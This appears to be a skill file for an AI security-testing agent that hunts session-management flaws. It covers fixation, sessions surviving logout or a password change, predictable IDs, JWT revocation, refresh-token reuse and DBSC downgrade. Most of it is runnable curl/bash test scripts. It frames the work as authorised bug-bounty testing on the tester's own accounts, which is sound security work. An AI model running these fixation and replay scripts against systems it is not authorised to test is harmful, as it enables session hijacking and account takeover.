Hunt Session Management vulnerabilities — session fixation (no regeneration on login), insufficient invalidation on logout / password-change / email-change, predictable or low-entropy session IDs, JWT-as-session with no exp/revocation, refresh-token rotation/reuse-detection gaps, OAuth/SSO session linkage, device-bound-session (DBSC) downgrade, and cookie attribute issues (Secure/HttpOnly/SameSite/__Host-). Validate with TWO real sessions (attacker A + victim B), body-diff every 200, and OOB confirmation for theft chains. Medium to Critical (fixation→admin hijack, no-invalidation→persistent ATO).
66
80%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./skills/hunt-session/SKILL.mdMissing HttpOnly on cookies is auto-detected — focus your active testing on lifecycle invalidation (higher impact).
Pattern 1 — Session survives logout (most common high-value finding):
/logout, POST /api/logout, etc.)/api/me, /dashboard, /account)Pattern 2 — Session not regenerated on login (session fixation):
Pattern 3 — Session survives password change:
Content-type: Login and session endpoints vary — use application/json for REST APIs, application/x-www-form-urlencoded for traditional web forms. Try both if the first returns an unexpected response.
Proof: A protected-resource 200 response (with user data) using a session token that should have been invalidated confirms the finding.
Session fixation leading to admin hijack = Critical. Session surviving a password change = High-to-Critical (persistent ATO from a stolen cookie that the victim believes they revoked by resetting their password).
Highest-value chains:
/logout → theft window never closes.exp / no revocation list — stolen JWT = permanent access; logout is cosmetic.No invented CVE/report IDs below. These are the named, publicly-documented patterns this skill encodes:
SameSite=Lax as its only CSRF defence.__Host-/__Secure- prefixes per RFC 6265bis. Missing HttpOnly is only a finding when a real XSS/DOM sink exists (chain with hunt-xss/hunt-dom).Cross-refs: ATO chaining → hunt-ato; JWT alg/kid tampering → hunt-api-misconfig; OAuth code/state flaws → hunt-oauth; CSRF mechanics → hunt-csrf; cookie-theft sinks → hunt-xss / hunt-dom.
Set-Cookie: session=... # name varies: sid, JSESSIONID, connect.sid,
# PHPSESSID, ASP.NET_SessionId, laravel_session, _csrf
/login /logout /api/login /oauth/token
/auth/refresh /api/token/refresh # refresh-token rotation surface
/account/change-password /settings/email
?sid= ?session= in URL # session-in-URL → leaks via Referer/logs (finding)# Header signals worth flagging immediately:
Set-Cookie: session=abc; Path=/ # no HttpOnly/Secure/SameSite
Set-Cookie: session=abc; SameSite=None # None without Secure = rejected by modern browsers, but flag
Set-Cookie: __Host-sess=...; Secure; Path=/ # GOOD — hard to fixate
Sec-Session-Registration: ... # DBSC in play → test downgradeTwo-session rule. Every invalidation/fixation claim is proven with TWO concrete sessions captured by a real flow — attacker A and victim B — never with hardcoded placeholder strings. Helpers below capture real cookies from
curl's Netscape jar.
TARGET=target.com
JAR_A=$(mktemp); JAR_B=$(mktemp)
# Robust session-cookie extractor: handles #HttpOnly_ prefix lines and any
# cookie name (sid/JSESSIONID/connect.sid/PHPSESSID/...). Prints name=value.
get_cookie () { # $1=jar $2=name-regex (default: common session names)
local jar="$1" re="${2:-session|sid|sess|JSESSIONID|connect\.sid|PHPSESSID|laravel_session}"
awk -v re="$re" '
/^#HttpOnly_/ { sub(/^#HttpOnly_/,""); } # strip jar HttpOnly marker
/^#/ { next } # skip remaining comments
NF>=7 && $6 ~ re { print $6"="$7 } # field6=name field7=value
' "$jar" | tail -1
}# Step 1: grab a pre-auth session the SERVER hands an anonymous client.
curl -s -L -c "$JAR_A" "https://$TARGET/login" -o /dev/null
PRE=$(get_cookie "$JAR_A"); echo "pre-auth: $PRE"
# Step 1b (stronger): can we FORCE an arbitrary ID? attacker-chosen value.
FIX="session=AAAAdeadbeefAAAA"
# Step 2: authenticate while CARRYING the pre-auth/forced cookie (reuse same jar).
curl -s -L -c "$JAR_A" -b "$JAR_A" -X POST "https://$TARGET/login" \
-d "username=attacker@example.com&password=CorrectHorse1" -o /dev/null
POST=$(get_cookie "$JAR_A"); echo "post-auth: $POST"
# DECISION:
# - If $POST == $PRE (value unchanged across the auth boundary) AND that value
# now returns authenticated data → FIXATION. The server reused the anon ID.
# - If the forced $FIX value is accepted and authenticates → CRITICAL fixation
# (attacker controls the ID; no email/XSS needed to plant it).
AUTH=$(curl -s -L -b "$JAR_A" "https://$TARGET/api/me")
echo "$AUTH" | head -c 200FP guard: a value change is not automatically safe — some apps rotate the readable cookie but keep a stable server-side session keyed by a second cookie. Diff the FULL Set-Cookie set and confirm the old value is genuinely dead (Phase 2). Also confirm /api/me returns your identity, not a generic 200/landing page.
# A logs in for real (fresh jar), capture A's live session.
curl -s -L -c "$JAR_A" -X POST "https://$TARGET/api/login" \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@example.com","password":"CorrectHorse1"}' -o /dev/null
A=$(get_cookie "$JAR_A"); echo "A=$A"
# Baseline: what does an authenticated /api/me look like for A? (capture body, not just code)
BEFORE=$(curl -s -L -b "$JAR_A" "https://$TARGET/api/me")
# Logout A.
curl -s -L -b "$JAR_A" -X POST "https://$TARGET/api/logout" -o /dev/null
# Replay A's OLD cookie value explicitly (do NOT reuse the jar — logout may have
# overwritten it). Compare body + code against the authenticated baseline.
AFTER=$(curl -s -L -H "Cookie: $A" "https://$TARGET/api/me" -w '\n[%{http_code}]')
echo "AFTER: $AFTER"FP discipline (mandatory):
AFTER against BEFORE — the finding is only real if AFTER still contains A's unique identity marker (email, user-id, CSRF token, account name).# This is the real two-session flow. A = attacker holding a stolen/old session.
# B = the victim who changes their password believing it revokes access.
# (In a real engagement A is a session you legitimately captured for a TEST account
# that you also control as B — never use a real third party.)
# 1) Log the TEST account in as session A, capture it.
curl -s -L -c "$JAR_A" -X POST "https://$TARGET/api/login" \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","password":"OldPass!1"}' -o /dev/null
SESSION_A=$(get_cookie "$JAR_A"); echo "SESSION_A=$SESSION_A"
BEFORE=$(curl -s -L -H "Cookie: $SESSION_A" "https://$TARGET/api/profile")
# 2) Log the SAME account in as session B (separate jar = "the victim's browser").
curl -s -L -c "$JAR_B" -X POST "https://$TARGET/api/login" \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","password":"OldPass!1"}' -o /dev/null
# 3) Victim (session B) changes the password.
curl -s -L -b "$JAR_B" -X POST "https://$TARGET/api/change-password" \
-H 'Content-Type: application/json' \
-d '{"old_password":"OldPass!1","new_password":"BrandNew!2"}' -o /dev/null
# 4) THE TEST: replay the OLD SESSION_A captured in step 1.
AFTER=$(curl -s -L -H "Cookie: $SESSION_A" "https://$TARGET/api/profile" -w '\n[%{http_code}]')
echo "AFTER pw-change: $AFTER"Decision + FP discipline:
AFTER returns 200 and the body still carries the account's unique data (body-diff vs BEFORE). A bare 200 on a public/SPA route is not proof./settings/email) and for logout-all-devices — apps frequently invalidate the acting session (B) but not sibling sessions (A). That sibling-survival is the exact persistent-ATO primitive hunt-ato chains.hunt-mfa-bypass), A can pivot from read-only to full takeover → escalate.curl -sI -L "https://$TARGET/" | grep -i '^set-cookie'document.cookie. Only a finding chained to a real XSS/DOM sink (hunt-xss/hunt-dom) — note it, don't report standalone as High.hunt-tls-network (downgrade/HSTS-gap) for a network-attacker chain.None → CSRF reachability; SameSite=Lax is bypassable via sibling-subdomain top-level navigation (Argo CD CVE-2024-22424 class) → hand to hunt-csrf.__Host- / __Secure- prefix absent → the session can be overwritten/fixated from a subdomain or non-secure context; its presence largely kills cookie-fixation, so flag the absence as the precondition for Phase 1.# Collect a LARGE sample (200+) of freshly-issued IDs. -L is required: a 302
# /login often sets the cookie on the redirect target, not the first response.
N=200; SAMP=$(mktemp)
for i in $(seq 1 $N); do
J=$(mktemp)
curl -s -L -c "$J" "https://$TARGET/login" -o /dev/null
get_cookie "$J" | cut -d= -f2- >> "$SAMP"
rm -f "$J"
done
sort "$SAMP" | uniq -d | head # duplicates = catastrophic (re-use)
awk '{print length($0)}' "$SAMP" | sort -n | uniq -c # length distributionThen analyse, don't eyeball:
sort -n the decoded values; a steady +1/+N delta = predictable.base64 -d / hex-decode each ID and look for embedded userId, unix timestamps, or PIDs.ent or dieharder; NIST SP 800-63B wants ≥64 bits. 10 samples is far too few to claim anything — gather hundreds.JWT="eyJ..." # captured from Authorization: Bearer or a cookie
# Decode header + payload safely (base64url padding fix).
b64url(){ local s="${1//-/+}"; s="${s//_//}"; printf '%s' "$s===" | base64 -d 2>/dev/null; }
b64url "$(cut -d. -f1 <<<"$JWT")" | jq . # header: alg, kid
b64url "$(cut -d. -f2 <<<"$JWT")" | jq . # claims: exp, iat, sub, jtiexp missing or years out → no expiry. jti missing → server cannot maintain a revocation list → logout can't truly revoke./api/me. If it still returns the user → tokens are not server-revocable; this is the JWT-session persistence finding. Body-diff to avoid a cached 200.hunt-api-misconfig — hand off jwt_tool $JWT -T / -X a there rather than duplicating it.# 1) Obtain a refresh token (login or /oauth/token), then rotate it once.
RT1=$(curl -s -L -X POST "https://$TARGET/api/login" \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","password":"OldPass!1"}' | jq -r '.refresh_token')
# 2) Use RT1 to mint a new access token — server SHOULD return a rotated RT2.
R2=$(curl -s -L -X POST "https://$TARGET/auth/refresh" \
-H 'Content-Type: application/json' -d "{\"refresh_token\":\"$RT1\"}")
RT2=$(jq -r '.refresh_token' <<<"$R2"); echo "rotated? RT1!=RT2 -> $([ "$RT1" != "$RT2" ] && echo yes || echo NO-ROTATION)"
# 3) REUSE-DETECTION test: replay the OLD RT1 again (simulating the leaked token).
REPLAY=$(curl -s -L -X POST "https://$TARGET/auth/refresh" \
-H 'Content-Type: application/json' -d "{\"refresh_token\":\"$RT1\"}" -w '\n[%{http_code}]')
echo "RT1 replay: $REPLAY"
# 4) Then confirm RT2 was KILLED by the replay (correct BCP behaviour invalidates
# the whole family). If RT2 still works after RT1 was replayed → no family-revocation.
curl -s -L -X POST "https://$TARGET/auth/refresh" \
-H 'Content-Type: application/json' -d "{\"refresh_token\":\"$RT2\"}" -w '\n[%{http_code}]'Findings: no rotation (RT1==RT2) = a long-lived stealable credential; rotation without reuse-detection (RT1 replay still mints tokens, or RT2 survives the replay) = the leaked-token-persistence bug per the OAuth Security BCP. OOB note: if you suspect a leaked RT via SSRF/log/JS-bundle, confirm the token's reach with hunt-ssrf/hunt-source-leak, not by guessing.
# SSO linkage: after IdP callback, is the app session bound to the IdP session?
# - Log out at the IdP only; replay the app session cookie. Still 200 with user
# data → app session outlives the IdP session (single-logout gap).
# DBSC downgrade: if responses carry Sec-Session-Registration / Sec-Session-Id,
# strip the device-bound proof header and replay the plain cookie:
curl -s -L -H "Cookie: $A" "https://$TARGET/api/me" -w '\n[%{http_code}]'
# If the plain (non-bound) cookie is still accepted → device-binding is advisory,
# not enforced → a stolen cookie defeats DBSC entirely.Hand OAuth state/redirect_uri/code-injection to hunt-oauth; this phase only covers the session-layer binding.
| Session finding | Chain to | Impact |
|---|---|---|
Session fixation (forced __Host--less cookie) | Trick admin/SSO user into authenticating on planted ID | Admin session takeover (Critical) |
| No logout/password-change invalidation | hunt-xss/hunt-dom cookie theft → replay surviving session | Persistent ATO past victim's reset |
| Refresh token, no reuse-detection | Leaked RT (SSRF/log/bundle) → infinite access-token minting | Persistent ATO, survives password change |
SameSite=Lax only | Sibling-subdomain top-level nav (CVE-2024-22424 class) → CSRF | State change / login-CSRF → fixation |
JWT no exp/jti | Stolen token, no server revocation | Permanent access |
| DBSC downgrade accepted | Steal plain cookie despite device-binding | Defeats the only theft mitigation |
| Predictable ID | Compute/brute another user's session | Cross-user ATO |
Before claiming ANY session finding:
curl flows above.HttpOnly/Secure/SameSite absence is a policy observation; only report as High once paired with a real exploit primitive (XSS, network-MITM, CSRF). Standalone attribute gaps are Low/Informational.Severity:
HttpOnly/SameSite standalone: Low/Informational until chained6b9c96e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.